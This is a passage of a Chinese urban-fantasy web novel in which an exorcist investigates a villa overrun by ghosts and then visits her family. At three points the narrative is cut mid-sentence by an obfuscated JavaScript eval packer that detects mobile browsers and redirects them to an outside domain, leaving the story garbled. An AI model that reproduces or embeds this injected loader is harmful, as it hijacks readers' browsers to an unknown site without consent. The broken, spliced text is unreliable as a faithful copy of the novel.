一直在暗中观察准备套近乎的老杨哥赶紧起身，嘱咐简灵：“简大师！您看什么时候有空记得跟我朋友联系啊，他那房子是要留还是要出手，就等着您的意见呢。” “这两天我会跟他联系。” 说完简灵留给大家一个背影，举起手挥了挥，带着谢慈开溜了。 “唉。”季星迟往椅背上一靠，无奈地叹气。 苏靖希是个自来熟的，他蹬蹬几步跑到原来谢慈的位置，兴致勃勃地给他倒了杯红酒：“季星迟，你跟我师傅是什么关系啊？” “你……师傅？”季星迟眼睛眯起，探寻的目光在苏靖希身上游移，“我怎么不知道她还收了个徒弟。” 一旁看戏看到嗑瓜子的秦雨宁笑出声，吐掉瓜子壳：“你不知道的事情还多着呢。” “好吧。” 季星迟端起酒杯抿了一口，微微一笑：“我在追求你师傅啊。” 除了秦雨宁一脸淡定早就知道这件事，旁边听到的人都差点没被自己的口水呛死。 季星迟？？追简灵？？ 这两个八杆子打不到一起的人是怎么会扯上关系的？！ “你、你们是怎么认识的啊？”苏靖希满脸震惊，虽然他个人觉得他师傅是个非常厉害、非常优秀的大师，季星迟……也是个演技还行、长的也还行的男的，但真的很难将他们联系在一起。 郭明忽然想起秦雨宁之前跟他们说的，恍然大悟：“哦……是不是《三盏烛台》大火那件事，雨宁说当时是简大师出手救了你们，是那会儿认识的？” “没错，简灵是我的救命恩人。”季星迟笑着垂下眼睑，轻轻摇晃着酒杯，仿佛杯中荡漾的红色是什么吸引人的珍品至宝。 * “什么？！你救了他一命，所以他就想以身相许？”谢慈惊愕。 简灵听了简直无语：“什么以身相许……只是追求，追求而已。” “追求的意思，不是想跟你成亲么？”谢慈微微思索了一会儿，“那不就是以身相许？” “不是这个意思……哎，算了，跟你说不明白。”简灵无奈地发动车，抓紧离开这个是非之地。 随着车缓缓驶离酒店，那抹淡淡的鬼气也随之消失，谢慈忽然意识到什么：“简灵，那个季星迟身上似乎有一种鬼的味道？但又不太像，我也分不清那种感觉。” “确实有，我第一次见他的时候就发现了。” 简灵哑然失笑，要不是他身上的这股奇怪的气息，她也不会第一次见面就把符贴在他的脑门上，结下了这个冤家。 19. 神秘又烦人的男人 第一次见到季星迟的时候是在《三盏烛台》的电影片场，那时的男女主演——季星迟和秦雨宁——都还不是什么大腕儿，只是导演找的两位认为很贴合角色的演员。 当然，那时的简灵也不是大师，只是个二十岁出头初出茅庐，第一次跟着师傅处理驱邪委托的小跟班。 因为暂时没有遇到什么可疑的事情，师傅就跟委托人闲谈，让简灵自己去片场逛一逛。 第一次来到电影片场的简灵很是新奇，四处溜达，《三盏烛台》是一部民国背景的谍战电影，导演对于场景的要求也非常高，处处都是一比一还原的布置，让简灵看得啧啧称奇。 就在她不知闲逛到了哪儿的时候，忽然感受到一股淡淡的、若有若无的鬼气。 简灵的后背登时就爬上一丝寒意，后颈汗毛直立，压下眉宇掩盖紧张的神色。 此处离师傅已经有些距离了，简灵没想跑，从包里悄然摸出一张符箓捏在手中，一边细细地感受着气息来源。 身处这幢小楼的二层走廊，简灵放轻了脚步，背靠着墙，不知为何刚还到处都是的工作人员这会儿居然一个都不见了。 大约是还没开拍，本就昏暗的走廊连一盏灯都没开，只有走廊尽头的小阳台散发着柔和的光线。 而那股诡异的气息就是从那儿传来的。 简灵贴着墙边向阳台靠近，一时间寂静得只能听见自己的呼吸声。 她慢慢走到门口，余光可以看到一个男人正站在那儿，手搁在金属栏杆上，黑色大衣袖口处露出精致的腕表。 料峭春寒，风吹动了他的衣角，有几分萧瑟的意味。 民国电影招来了民国的男鬼？ 简灵蹙起眉头，刚准备开口就看到男人动了，转身踏进屋内，她来不及多想伸手就是一巴掌—— “啪”一下，简灵手中的黄符正中男人的额头：“巽风裂魄，艮岳压形，现！” 顷刻间，周遭一切都安静了，连掉一根针在地上都能听见。 没有鬼现身。 一阵寒风吹来，男人的衣角和额头上的符都被吹得猎猎作响，他看到简灵似乎也是愣住了，没忍住噗嗤一下轻笑出声：“哪来的小神婆？” 简灵嘶了一声，倒吸一口凉气。 这男人身上明明有鬼气，可怎么一点反应都没有的？？ 难道是他道行太过高深？！ 不好，遇到高手了。 简灵往后退了一步，警惕地望着他：“最近片场闹鬼就是你干的吧？别高兴得太早，你既已修出人身想必道行不低，也不想因为害了人而一朝失去修为吧？跟我走，说不定还能保下魂魄。” 男人缓缓抬起手，简灵如临大敌，就像一只拱起背脊的猫，可他只是伸出一根手指撩起额头上的符，露出一双带着笑意的眼睛：“你再看看呢？” 眼前的“男鬼”长着一张略带侵略性的脸，浓黑似剑的眉略微挑起，饶有趣味地盯着她，黑色的毛呢大衣将他修饰得更加高挑，衣角翻飞下能看到一双穿着深灰色西裤的大长腿。 这么说来这个人是瞧着有点眼熟…… 刚才在休息间似乎见过？好像是在……海报上？ 等等！他是这部电影的男主角季星迟？！ 简灵上下打量着他，眼中的疑虑逐渐变为震惊然后彻底被尴尬所取代。 她赶紧上前手忙脚乱地揭下符箓，满面羞愧无地自容，强装镇定地道歉：“不好意思啊，你太像鬼了！” 季星迟嘴角的笑容僵住，眼神落在她的脸上，锐利得像是一把小刀，似乎要将她看个对穿。 “啊……季先生，不是说你长得像鬼的意思……”简灵急得抓耳挠腮，一抬头对上他尖锐的眼神，心里一惊。 完了，他好像不高兴了，任谁被说像鬼心里都不会舒服吧。 “没关系。”季星迟垂下眼睑，轻声道，“你不是第一个说这话的人了。” “嗯？什么？”简灵在包里翻着纸巾，一下没注意到他说了些什么，“你额头上的妆好像花了，要不要擦一下。” 季星迟低下头，接过她递来的纸巾，在两人的手触碰的瞬间似乎看到了她手掌心隐约有一条细细的红色疤痕。 他的手猛地顿住，怔在原地。 简灵收回手，好奇地在他眼前挥了挥：“你怎么了？” 可手腕却猛地被他一把抓住，简灵吓了一跳，抬眼就看到季星迟的面色阴沉的能滴出水来。 她下意识翻转手腕，反手将季星迟的胳膊一拧，整个人向前倾倒将季星迟压在墙上，厉声道：“你干什么！” 一套动作反而让季星迟冷静了下来，他不徐不疾，微微扭过头看她：“别紧张，我只是看到你的手心好像受伤了。” 简灵一怔，见他不像是说谎，慌忙地松开手：“抱歉，本能反应。” 可季星迟似乎并不在意，只是自顾自地活动了一下手腕，不经意地示意她：“你的手是怎么回事？” “哦，这个啊，是旧伤疤了，本就是红色的。” 少女展开细嫩的手掌给他看，只见白净的手心中那道细细的疤痕如血线一般，红得触目惊心，一直往后延伸，隐藏进袖子里。 季星迟似乎看了许久，半晌才抬起头问：“你叫什么名字？” * “然后呢然后呢？” 季星迟的思绪被苏靖希的声音拉回来，只见他急切地望着秦雨宁，这也是大家第一次听当事人讲起《三盏烛台》那场大火的事情。 “然后简灵就顶着大火把我和季星迟救出来了啊。”秦雨宁耸了耸肩，感慨道，“简灵可厉害了！我当时几乎处于不能动的状态，她就一手给我扛在肩上，另一边还能搀着季星迟那个大高个。” 她不禁竖起了大拇指：“神力女王！” 季星迟淡淡地笑了笑：“那会儿她还跟着她师傅一起的，一转眼都能收徒弟了。” “那可不，师傅真的太强了。”苏靖希眉飞色舞地讲着在四久山撞鬼的事情，那阵势都快赶上说书先生了。 在场的几人都是见过鬼的，倒也没那么惊讶，只有季星迟听着听着脸色却愈发冰冷，眼睛微微眯起看向苏靖希，如盯上猎物那般犀利。 他忽然打断苏靖希：“你的意思是，你跟她，在四久山上待了两个晚上？” “是啊。”苏靖希茫然地点点头，不知道他什么意思，思索了片刻后又补充道，“哦，还有谢慈和师傅的另外两个朋友，当然，还有别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215347|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼。” 金舒云敏锐地察觉到了季星迟的不悦，轻咳一声，扯了一下苏靖希让他闭嘴。 “咳，不过听你们这么说我就放心多了……哈哈。”老杨哥也是个人精，左右一瞧赶紧出来打圆场，“我朋友那个凶宅的事儿，有简大师出手，肯定没问题的。” 季星迟的手指沿着酒杯的边缘慢慢地滑着，听了半晌，冲老杨哥露出一个微笑： “老杨，听你的意思是，你朋友的那间凶宅别墅似乎有意出售？” “是啊，不管闹不闹鬼他都想出手了，就等简大师去看看。”老杨叹气。 “正巧我最近有考虑在华丹买房，不妨给我个联系方式？” * 都过去好几年了，简灵依然没弄清楚季星迟身上那股鬼气是怎么来的。 她甚至还偷偷跑去找了师傅求助，尝试了各种测试鬼的方式都完全无果，直到有一次被季星迟发现端倪，无奈地问她到底想干什么。 “你怎么说的？”谢慈好奇道，两人休整了一天，这会儿已经联络了老杨哥的那位朋友，正开车前往临江别墅区。 “还能怎么说，就实话实说呗。”简灵耸耸肩。 谢慈不禁皱眉：“如果他真是鬼，你说这话不会打草惊蛇么？” “只有两种情况。第一，他不是鬼，那么跟他说了也没什么关系。第二，他是个道行高深到几乎能够完全隐藏气息，且不怕任何符箓和法诀的鬼……” 她嘿嘿一笑：“那说不说也没什么关系了，我反正是打不过他。” “后来呢？” “后来发现他好像确实没什么问题。” 简灵回忆了一下当时季星迟的说法：“他说他小时候见过鬼，好像是被关在地下室待了一段时间吧……说当时被很多鬼包围了，但最后也是一个好心的鬼帮他赶走了其他的，我估摸着应该是那段时间有鬼在他身上留下了点气息。” “他也能看到鬼？”谢慈惊讶。 简灵点头，疑惑地摸了摸下巴：“但我触摸不出他的天眼……反正是个神秘又烦人的男人。” 很快两人到了目的地，这片临江别墅区位于华丹市区里，占据了两江交汇风景最好的位置，背靠着一座小佘山，同时也是玄学上的风水宝地。 初建好之时，吸引了许多明星与富豪前来买房，可这些年不知为何逐渐没落，陆续有人搬离，现在整体的入住率都没有刚开始那么高。 跟守门的保安说明了来意，登记后帮她们开了门，简灵顿了半晌才点头致谢，收回了微妙的眼神，跟谢慈对视一眼。 谢慈绷起脸，压低了声音：“这个人怎么看着如此诡异？” “嗯。” 简灵发动车开进别墅区的大门，刚才负责登记的保安双眼无神，眼下青黑一片，咋一看像是熬了大夜似的，神色憔悴。 可她们却明白，那人跟一般劳累憔悴的人不一样。 若是命够硬的人，像是林招芙和左毅那种，长期跟鬼待在一处也不会受到什么影响。 但若是命不够硬的人……长期受到鬼的影响，精气会逐渐散去，重则变成无知无觉的行尸走肉。 随着车缓缓深入，瘆人的寒意顺着缝隙疯狂地涌入车内。 20. 穷鬼和倒霉鬼 “这小区，还有点东西。”简灵轻笑了一下，打着方向盘转入林荫大道，小区内限速，两人只能慢慢地向前开着，寻找这次要去的目的地。 别墅区的绿化做得跟公园一样，郁郁葱葱的大树排成林，茂盛的枝叶铺天盖地挡住了夏日的烈阳，整个别墅区就像是笼罩在一张巨手之下。 “前面有人。”谢慈警惕起来，将安全带悄然解开，“也可能不一定是人。” 简灵顺着她的目光望去，刚转过弯就看到有一男一女站在路边草丛里纠缠不清，你推我搡的，听不清在吵什么。 看到车出现之时，那对男女默契地暂停扯皮，定睛看到了车内的她们，男人得意洋洋地朝女人一笑，对她得瑟地摆摆手，女人似乎没辙了，嘟嘟囔囔地转身走进草丛，隐去身形消失不见。 “嘿，还真不是人。”简灵乐得小声吐槽了一句，下一刻就看到男人理了理衣领，远远地朝她们的车挥挥手。 简灵忍不住笑出声：“谢慈，他要找我们诶。” “送上门的。”谢慈冷哼一声。 车速逐渐放慢，准确地停在男人跟前，只见他露出得逞的笑容，礼貌地敲敲车窗：“上午好，两位美丽的女士，我是住在前面818号的……” 随着车窗下移，简灵那张带着促狭笑意的脸也逐渐露了出来，好整以暇地看着他。 男人的笑容僵在嘴边，不自觉地后撤半步：“靠，怎么是阴差！” 话音未落他撒腿就跑，还不忘一把抓过旁边的女人，显露出身型的女人还没反应过来，叫嚷着转过头看了眼简灵，倒吸一口凉气。 “卧槽，我就说跟你出来会倒大霉吧！” 简灵敲了下方向盘：“谢慈。” 没等她说完，谢慈直接拧身从窗户翻出去，跃进林中追向那二人。 三分钟不到，她就提溜着两人的衣领出来了。 他俩穿着短袖衬衣，咋一看是人模狗样的，可仔细观察却能发现衣领处都泛了黄，袖子上还染了污渍，衬衣边也都起球了。 “你俩干啥呢这是。”简灵懒洋洋地趴在车窗上，“cos房屋中介？” 男人露出谄媚地笑容，双手抱在一起求饶：“阴差大人别生气，我俩就是无聊……以为您二人是来看房的，就想逗逗你们……没别的意思。” “是啊是啊，阴差大人，我们没伤人！”女人也赶紧点头附和。 “你们想伤人也得有本事啊。”简灵瞥了一眼，“就你们这点本事，普通人去庙里求个平安符都能给你们赶跑。” 谢慈好奇：“他们究竟是什么？” “穷和晦。”简灵眉梢挑起，“就是大家常说的——穷鬼和倒霉鬼。” ……谢慈突然很想把手里这俩人扔得远远的。 “别扔。”简灵扭头示意，“还有用呢，先扔上车。” 车里早被简灵贴了符，普通鬼都逃不脱的那种，穷和晦老实巴交地坐在后排，双手规规矩矩放在腿上，像两个犯了错的小学生一样。 “他俩其实不算鬼，而是一种祟。”简灵跟谢慈解释道。 人们除了庆祝新年，往往也会在新房入住、店铺开业之类的时候放鞭炮，还请人来载歌载舞跳大神，想驱逐的就是这种他们“祟”。 他们不是鬼身，所以普通人也能看得见摸得到，而微弱的鬼气只能支撑他们稍微变换一下外表，但本身穷晦在身，再变也能看出一些不对劲的地方，比如埋汰的衣服。 “那么问题来了。”简灵回过身去看他们，“在这个有钱人才买得起的别墅区，怎么会出现你俩这种糟心玩意儿？” 虽然被骂了，但穷晦二鬼一声也不敢吭。 开玩笑，他们连普通人炸个鞭炮都能被吓跑，更何况面对简灵这个专抓恶鬼的阴差。 穷鬼尴尬地笑笑，手指不自觉地卷着自己的头发：“阴差大人，那富人也不是一直富的是吧？总有什么破产啊、挣家产输了啊，还有进去了或者下去了的时候嘛……” “那你的主家是进去了还是下去了？” “下去啦！”穷鬼很乐意分享自己主家的八卦，眉飞色舞道，“你们不知道，他家那些小辈当时争公司争得是头破血流啊！谁知道最后，诶嘿，公司因为债务问题破产了，他们卖房的卖房，卖车的卖车，这个别墅也已经被抵押出去了，啊哈哈哈……” “那你怎么没跟着主家走？” 听到简灵冷不丁的问题，穷鬼话停在嘴边，眼神飘忽，战战兢兢地说不出话。 “还有你。”简灵指向晦鬼，“穷晦常常两相生，你们都是缠上主家就不放手的，如今原主家既然散了，你们应该也是立刻消散，去寻找下一个主家，不然鬼气无法支持你们凝成人形。” 穷晦咽了一下口水。 “现在你们既没有主家，却能在屋外撒野，那么只有一种情况——”简灵压下眉宇，冰冷的眼神几乎要将他们杀死，“有人，或者说有鬼在为你们续命。” 晦鬼磕磕巴巴，试图解释却又不知该怎么编：“不是的，我们……我……” “哎呀算了吧，老大都不知道多久没回来了……可能早就魂飞魄散了呢。”穷鬼用手肘怼了一下他，翻了个白眼，“阴差都查到脸上了，我们俩小鬼能干个啥。” 说完她身体前倾，讨好地笑着：“阴差大人，我们真是小喽啰，刚才说的那些也都没骗您！之所以能留在这儿没有寻找新的主家，自然是这里的鬼气充足，足以支撑我们活下去嘛。” 简灵冷冷地问道：“你们说的老大是谁？” “一个鬼，是我们这片鬼的老大。” “他在哪儿？” “不见了。”穷鬼举起一只手做发誓状，一本正经道，“没骗您，消失好久了……我们真不知道，这片别墅区所有的鬼都不知道。” 简灵皱起眉头，能散发出足以撑起一整片区域的鬼气……这个“老大”想必来头不小。 她的手指轻轻敲击着方向盘，思索半晌，决定先把这事儿放一放。 “先去老杨的朋友那儿看看再说吧。”简灵启动车，扭头问二鬼，“803是哪栋，你们给指个路？” 晦鬼大惊失色，倒吸一口凉气：“哪、哪栋？” “803。” 二鬼对视一眼，晦鬼颤抖着指了一下方向：“前面右拐，笔直开到头，江边那排最顶头的那一栋就是……” “阴差大人，803就是老大以前住的地方。” * 很快她们的车在803号门口停下，简灵第一时间就察觉到了不对劲。 她通过车窗向外看去，整栋803都被浓浓的阴气所笼罩，几乎可以确信，803就是这片别墅区的鬼气来源。 可照穷晦所说，他们那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嘿，大师厉害啊。”周老板不好意思地又摸了摸头，“我其实也没想什么积不积福的，就偶尔给那些什么保护动物捐款，还给乡村学校啊捐点饭钱。这不古人说得好……达则兼济天下嘛。” 听了这话穷鬼更感兴趣了，悄悄接近周老板，想攀上他的背后—— 简灵故意落后一步，伸手给了她一个脑瓜崩。 “简大师，来来，里面请啊。”周老板不明所以，就在保镖为他们拉开房门的那一刻，一股阴冷之气朝他扑面而来！ “当心。”简灵一把抓住穷鬼往前一送，将手中符箓穿过穷鬼的身体直捣黄龙，对面那股阴气必之不及，怪叫一声，吓得往回窜去，很快隐入最里面的一个小门消失不见。 “呜哇！阴差大人你怎么拿我当挡箭牌啊！”穷鬼气得吱哇乱哭，委屈的不得了。 这些声音在人类耳中听起来像是阴风阵阵，隐约夹杂着婴儿或者野猫一样的嚎哭，顿时鸡皮疙瘩起了一身。 周老板吓了一跳：“怎、怎么回事？” 可简灵没有作声，向前走了一步，将周老板挡在身后，身旁的谢慈发出倒抽凉气的声音，只听到她压低着声音问：“这、这什么情况……” 偌大的别墅中，一双双眼睛惊恐地朝他们看过来。 但没有一个是人。 21. 诡异的镜子 客厅的长条真皮沙发上坐着几个鬼正在打扑克，此时都抬起头向这边张望着。 另一边的酒柜前还站着几只鬼，似乎被打断了交头接耳，连酒也不品了，齐刷刷地看过来。 还有几只鬼应该是听到了动静，正从二楼往下走，走到一半呆在了楼梯上，愣愣地看着突然出现的简灵。 “嘶……”有鬼先发声了，迟疑着问大家，“她俩……是不是能看到咱们？” 简灵眨了眨眼：“是啊。” 众鬼：…… “呵呵。”穷鬼嗤笑，撩了一下头发，“一群傻x，你们都忘了吗？老大还专门教我们认了阴差印记，说看到阴差记得快跑。” “我靠！” 众鬼终于想起来了这件事，一时间鬼仰马翻，乱作一团，鬼影攒动化成的阴风一阵阵往门外刮着。 有些鬼慌忙间也钻进刚才那个小门，简灵眯起眼睛，指着那边问是什么房间。 周老板伸出脑袋看了看：“那间啊，是一楼的卫生间，怎、怎么了吗？” “这样吧，麻烦周老板先去外面等一会儿，这房子的情况是有点复杂。” 简灵示意谢慈跟他一起，转过身笑了笑：“我稍稍微……需要一点时间。” 几人出去后，简灵慢悠悠地关上门，抬眼间闪过一抹绿光。 颜色尽褪，空气中浓郁的鬼气也显现出来，绿荧荧的挤满了整个空间。 “你们还玩儿的挺嗨啊。”她咧嘴一笑，看在鬼的眼中简直比遇见阎王还可怕，下意识如林中鸟一般四散而逃。 “别跑了。”简灵指尖微动，法诀随即升起，想趁机溜出别墅的鬼纷纷碰壁，战战兢兢地缩在墙边角落。 其实它们也只是听老大提起过阴差，说见到了一定要跑。 可等到今天第一次直面上了才发现……简灵身上传出来的是一股天然的压迫感，让它们发自本能地想要逃走。 看到鬼友们吃瘪，穷鬼蹲在一边幸灾乐祸，还指着想偷偷溜进卫生间的鬼通风报信：“阴差大人！那个！那个想跑！” 简灵挑眉，一个飞扑上前，将差点摸到厕所门口的小鬼踩在脚下。 “饶、饶命啊……” 她将小鬼踢开，若有所思地看着面前紧闭的厕所门。 空气中汹涌的鬼气从其中源源不断地发散出来，阴差的眼中除了鬼的气息，就只剩下黑白灰，而面前灰色的门几乎要被鬼气染成浓重的墨绿。 “让我看看……这里面到底是什么。” 她猛地拉开门。 别墅外面看着倒还有几分体面，可这间厕所似乎很久很久没用过了。 墙面上爬满了黄灰的霉菌，从洗手台的缝隙处挤出大片青苔，挑高极高的吊顶上隐约可见密密麻麻的蜘蛛网，随着开门涌进的风而晃动着，似乎马上就要撕裂落下。 而面对着大门的墙壁上镶嵌着一面落地镜，镜中简灵的影子模模糊糊的，像是蒙上了一层水雾。 而水雾的背后是一个黑洞。 那黑洞好像活物，暗质毫无规律地流淌着，似雾似墨，只一眼就会被摄住心神。 简灵瞳孔骤缩！ 她猛地回过头，眼神中的厉色让众鬼骇然，一字一句，质问的声音冰冷到了极点：“你们都是从里面逃出来的？” 那个“逃”字咬得很重，似乎只要有鬼一点头，这位阴差就会大杀四方，把它们全都碾成齑粉。 有的鬼下意识摇了摇头，但大多数都不明白她的本意。 穷晦二鬼对视一眼，它们存在的久，对于许多事情也比其他鬼要清楚，稍微一想就明白了简灵的意思。 “不是的，阴差大人！”穷鬼赶紧上前解释，“我们都是人间自然生成的，只是受了老大的鬼气吸引才聚集过来……” 简灵冰冷的眼神落在她身上，令她不自觉颤抖：“真的！我们这群小喽啰只是好奇进出过，但并不是从地府逃出来的恶鬼啊，也从没有伤过人！” “你的意思是，你们那位老大是恶鬼？” “……是！”穷鬼没理会晦鬼的眼色，咬牙承认了。 “你们的老大在哪里？”简灵的目光在房中逡巡，众鬼慌忙摇头。 她叹了口气，手中黄符已经捏起：“我再问最后一个问题——这幢别墅中之前发生的命案，死的那几个人，是你们、还是你们那个老大杀的？” 房子已经被布下结界，面对阴差之力这群小鬼一个都跑不了，穷鬼慌了神，一下子跪坐在简灵面前。 “我发誓，我们在场这些小鬼一个都没有伤人！如有违背让我魂飞魄散！” 她扯了一把晦鬼，晦鬼一个趔趄也跪了下来：“老晦他跟老大走得最近，但老大每次要杀人时都会支开他，对吧老晦，你快解释啊！” 晦鬼满脸拧巴，本来一直耷拉着的脑袋忽然扬起，恳切哀求：“简阴差，老大杀人是有原因的！都是……都是……” 他并没有参与，结巴半天也说不清楚，都快急哭了。 简灵垂下手臂，其实也能感觉出来这都是一群只能吓唬吓唬人的小鬼，至于这个洞…… 她思考了良久，在厕所门口布下了阵，从洞中发散的鬼气立刻减淡了不少。 门外的周老板像是等了一个世纪，着急得直搓手，过了许久终于等到简灵打开了门。 周老板急急忙忙走进去，喜出望外：“简大师妙手回春啊，这屋里还真是舒爽了不少！” “如何？”谢慈跟着进来，一扫眼那些小鬼都挤在角落里瑟瑟发抖，显然是简灵要求的，连大气都不敢喘一口。 “对啊，简大师，这屋子究竟是什么情况？”周老板刚才都不愿去车里吹空调，一直站在外面树荫处等着，狠狠擦了一把汗，“真是凶宅吗？” 简灵轻咳一声，顺口胡诌道：“这个……厕所属最阴湿，往往会招些不祥之物，甚至可能成为它们连接往世与现世的出入口。” 她手指横扫：“你家房子大门直通厕所，这不妥，包括之前这儿发生的凶案，也或多或少有点关系。” 周老板汗流浃背：“那您看该怎么办呢？” “最简单的办法，加个隔断，我可以做法将这条路暂时封住。” 话音刚落，角落里那一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜那保安也不太清楚内情，只知道之前那栋凶宅的业主似乎是个极有钱的富豪，经常邀请各种朋友去家里玩，什么茶话会、品酒会啊，彻夜开party之类的。 偶尔她还会去大肆购物，后座堆满了大包小包的，都是买的些香水包包之类的送给四邻，所以跟邻居们的关系倒是处得还不错。 简灵敏锐地问道：“那个业主是女性吗？” “对啊。”保安点点头，表情夸张，“我那年刚来这儿当保安，见过好几次，是一位特别漂亮的女士……大概二三十岁吧，看起来温温柔柔的，没想到……杀人如麻啊。” “被抓了？” “抓了，当时呼呼啦啦来了好多警察和救护车呢，直接闯门进去逮捕了，找尸体的时候院子都被挖穿喽。” 简灵微微蹙眉：“她没反抗吗？” “好像没有吧，当时很快就带出来了。”保安抓抓脑袋回忆道，“我就远远地看了一眼，她反正也没挣扎，很平静的样子，像是……丢了魂儿似的。” 22. 回家 思来想去，简灵还是在回家前把谢慈寄存到了秦雨宁那儿，让她代为照顾两天。 开玩笑，她们老简家可是捉鬼世家，万一谢慈无意中碰到什么法器符箓之类的就麻烦了，更何况她的师傅还是个极度痛恨鬼的，见到谢慈怕是不会放过她。 正好秦雨宁最近进组了，就准备带着谢慈一起。 “这个你贴身带好，不要乱丢。”简灵给她买了部新手机，现代社会没有手机联系起来真的麻烦——没错，说的就是简灵那个古板严肃的师傅。 谢慈从庙里出来这么久，对现代科技产物已经习惯了不少，还是第一次拥有自己的手机，爱不释手。 “这个是我的联系方式，这个是宁宁姐的，这个是她助理的。”简灵一个个指给她看，标注好名字，“如果不小心分开了就点这个打电话。” 谢慈认真地点点头。 一旁的秦雨宁笑道：“行了放心吧，我会把她带在身边形影不离，也不会让她碰到一点火星子。” 她把剧本往桌上一扔，叹了口气：“说真的，如果不是谢慈不愿意，我真想让她在我们剧和电影里客串一下，现在的打斗戏都是花架子，比不了谢慈这种真功夫。” “NO！”简灵摇了摇手指，“真功夫都是招招致命，主打一个打蛇打七寸，放电视上可不一定有观赏性。” “主要是得有力量感！”秦雨宁握起拳头挥了挥，她平时也经常健身，胳膊看起来倒是有些力量。 听到这话，谢慈抱臂瞧她，神情严肃道：“你说的对，即使台上唱戏的也得昂然挺立才好看。若你不嫌弃，我可以在武术方面提些建议，指点几分。” “真的吗！那这两天你能来当我们的武指吗？”秦雨宁眼睛都亮了。 * 安排好了谢慈，简灵一个人开车回家了，她家所在的小镇离华丹市不算远，约莫两三个小时就到了家。 在别人看来，十几年前是一场大火将一户人家全都烧死了，许多人唏嘘的同时也有些忌讳，陆陆续续搬走了一些，本来富庶的小镇变得冷清了许多。 简家世代都生活在此，除了像简灵这样的小辈去大城市工作的，大部分也都还在这儿。 “诶，阿灵！” 她刚一下车就听到有人喊，一个看起来三十岁出头的男人朝她挥挥手中的手机，匆匆跑过来。 “小叔。”简易是简灵的小堂叔，虽然差了辈分，可两人年龄相差也就五六岁，又是从小一起长大的，关系还不错。 “刚还准备给你说呢！”简易抹了一把汗，“你师傅——她今天早上走啦！” 简灵心里一咯噔，猛地抓着他的手臂：“你说什么？！” 看到她慌乱的神情，简易突然反应过来误会大了，赶忙安抚她：“不是不是，不是那个走，是回山上啦。” “……你真适合去给新闻起标题。”简灵无语地给了他一脚。 简灵的师傅麟一月和简灵祖母是同门，两人前半生都在山上的宁远观修行，等简灵出师后，麟一月逐渐淡出世俗，在镇上隐居，平时简家帮忙照拂着，偶尔会给邻居们做做法事。 “她老人家都70了，还折腾啥呢。”简灵嘟嘟囔囔着推门进了院子，宁远观说近也不算近，虽说高铁方便了，但到了地方还得自己爬山上去，“难道是观里出事了？” 简易也摸不着头脑：“她就留了张字条说自己有事回一趟观里……但我给观里打电话问了，说也没啥事啊。” “你没跟她说我要回来么？”简灵问。 “说啦，所以我刚不是估摸着你快到家了，准备去请她。” 两人正说着，大门开了，简妈妈探出头来笑了笑：“阿灵回来啦，你俩站门口不热吗，快进来。” 屋内弥漫着一股淡淡的檀香味，混杂着厨房传来的菜香，简灵动了动鼻子：“妈，做的什么啊这么香？” “炒了小河虾，去洗手，来吃饭了。” 简灵愉快地应了一声，跟沙发上看电视的简爸爸打了个招呼：“爸。” “回来了。”简爸“嗯”了一声，起身将桌椅布好，坐下后才淡淡道，“无事不登三宝殿，你这次回来是又遇到什么事了？” 简灵：…… “爸……你真了解我。”简灵灰溜溜地坐好，瞪了一眼简易，咕哝的声音从齿缝里挤出来，“大漏勺，你跟我爸说干嘛。” 简易嘴里还塞着虾，慌忙摆手：“可不是我说的。” 简爸爸掀起眼皮子：“我还不了解你了？” 老简家到简爸爸这一辈并没有人继承阴差印记，简爸爸也只在小时候学过一些简单的术式。 可他兴趣不大，也志不在此，年轻的时候便心一横转行做起了生意，借着简家许多风水大师的名头卖起了祈福祭祀的制品，还有观音佛像之类的，做得是风生水起。 天意弄人，女儿简灵却继承了阴差印记。 他不愿意简灵做这行，可老简家从很久以前传来下的家训就是如此，他拗不过宗亲长辈，更拗不过简灵的祖母，最后只得放手让简灵跟着去了宁远观。 小简灵起初也是不愿的。 到了上学的年纪，她经常放学回来都偷偷躲起来不想练习修行，他就帮她藏着，可次次都被祖母揪了出来。 直到祖母去世后过的第一个新年，简爸爸下定决心要对抗到底，年后绝对不会让简灵继续跟着麟一月修行了，要让她做一个普通的孩子。 可也就是那个冬天，简灵从小一起玩的好朋友全家被一场大火吞噬。 自那之后她就像变了一个人似的，变得沉默寡言，独来独往，手臂上那道不知道从何而来的伤口也愈合了，留下的红色疤痕却久久不褪，像是成了胎记。 小简灵也没有再大声哭闹着不想修行，每天放了学都主动去师傅家，放假就收拾行李跟着师傅去宁远观。 她的童年就一直是这么过来的。 简家夫妇总是觉得亏欠了她，心疼她，尽自己所能给女儿买很多衣服和玩具，可随着简灵一天天长大，性格更是稳定下来，却再也没有跟他们撒娇哭闹过，也从未跟他们诉过苦。 想着想着，简爸爸阴云满面，又忍不住开口：“早说让你别干这个了，好好找个普通工作不行，家里又不缺你这点钱。” 还没等简灵说话，简妈妈就给了他一肘：“说什么呢你，又旧事重提，扫不扫兴啊！” “就是，大哥你真扫兴。”简易跟着补刀，一本正经地说，“阿灵这是做善事，能积德的，又不是那种江湖骗子。” 简灵咬着筷子尖，好声好气道：“爸，你就别操心了，我这就不是工作了吗？挣的也不少，还能养活自己，不挺好的嘛 